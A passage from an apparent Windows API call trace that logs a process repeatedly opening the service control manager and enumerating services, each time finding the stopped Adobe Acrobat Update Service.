ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0136.653] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d690 [0136.653] EnumServicesStatusW (in: hSCManager=0x321d690, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0136.654] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0136.654] EnumServicesStatusW (in: hSCManager=0x321d690, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0136.655] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d690 [0136.655] EnumServicesStatusW (in: hSCManager=0x321d690, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0136.656] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0136.656] EnumServicesStatusW (in: hSCManager=0x321d690, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0136.657] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d4d8 [0136.657] EnumServicesStatusW (in: hSCManager=0x321d4d8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0136.658] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0136.658] EnumServicesStatusW (in: hSCManager=0x321d4d8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0136.659] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d4d8 [0136.659] EnumServicesStatusW (in: hSCManager=0x321d4d8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0136.660] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0136.660] EnumServicesStatusW (in: hSCManager=0x321d4d8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0136.661] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d690 [0136.661] EnumServicesStatusW (in: hSCManager=0x321d690, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0136.707] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0136.707] EnumServicesStatusW (in: hSCManager=0x321d690, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0136.709] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d7a8 [0136.709] EnumServicesStatusW (in: hSCManager=0x321d7a8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0136.709] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0136.709] EnumServicesStatusW (in: hSCManager=0x321d7a8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0136.712] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d690 [0136.712] EnumServicesStatusW (in: hSCManager=0x321d690, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0136.713] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0136.713] EnumServicesStatusW (in: hSCManager=0x321d690, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0136.716] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d4d8 [0136.717] EnumServicesStatusW (in: hSCManager=0x321d4d8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0136.718] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0136.718] EnumServicesStatusW (in: hSCManager=0x321d4d8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0136.722] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d7f8 [0136.723] EnumServicesStatusW (in: hSCManager=0x321d7f8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0136.723] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0136.723] EnumServicesStatusW (in: hSCManager=0x321d7f8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0136.727] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d4d8 [0136.727] EnumServicesStatusW (in: hSCManager=0x321d4d8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0136.728] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0136.728] EnumServicesStatusW (in: hSCManager=0x321d4d8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0136.730] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d4d8 [0136.730] EnumServicesStatusW (in: hSCManager=0x321d4d8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0136.730] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0136.730] EnumServicesStatusW (in: hSCManager=0x321d4d8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0136.732] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d6b8 [0136.732] EnumServicesStatusW (in: hSCManager=0x321d6b8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0136.733] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0136.733] EnumServicesStatusW (in: hSCManager=0x321d6b8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0136.735] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d4d8 [0136.735] EnumServicesStatusW (in: hSCManager=0x321d4d8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0136.736] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0136.736] EnumServicesStatusW (in: hSCManager=0x321d4d8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0136.738] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d7f8 [0136.738] EnumServicesStatusW (in: hSCManager=0x321d7f8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0136.739] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0136.739] EnumServicesStatusW (in: hSCManager=0x321d7f8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0136.741] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d690 [0136.742] EnumServicesStatusW (in: hSCManager=0x321d690, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0136.742] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0136.742] EnumServicesStatusW (in: hSCManager=0x321d690, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0136.744] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d4d8 [0136.745] EnumServicesStatusW (in: hSCManager=0x321d4d8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0136.745] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0136.745] EnumServicesStatusW (in: hSCManager=0x321d4d8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0136.747] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d7f8 [0136.748] EnumServicesStatusW (in: hSCManager=0x321d7f8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0136.748] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0136.748] EnumServicesStatusW (in: hSCManager=0x321d7f8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0136.750] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d690 [0136.751] EnumServicesStatusW (in: hSCManager=0x321d690, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0136.751] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0136.751] EnumServicesStatusW (in: hSCManager=0x321d690, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0136.800] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d690 [0136.801] EnumServicesStatusW (in: hSCManager=0x321d690, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0136.801] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0136.801] EnumServicesStatusW (in: hSCManager=0x321d690, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0136.803] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d780 [0136.803] EnumServicesStatusW (in: hSCManager=0x321d780, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0136.804] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0136.804] EnumServicesStatusW (in: hSCManager=0x321d780, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0136.806] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d4d8 [0136.807] EnumServicesStatusW (in: hSCManager=0x321d4d8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0136.807] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0136.807] EnumServicesStatusW (in: hSCManager=0x321d4d8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0136.810] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) 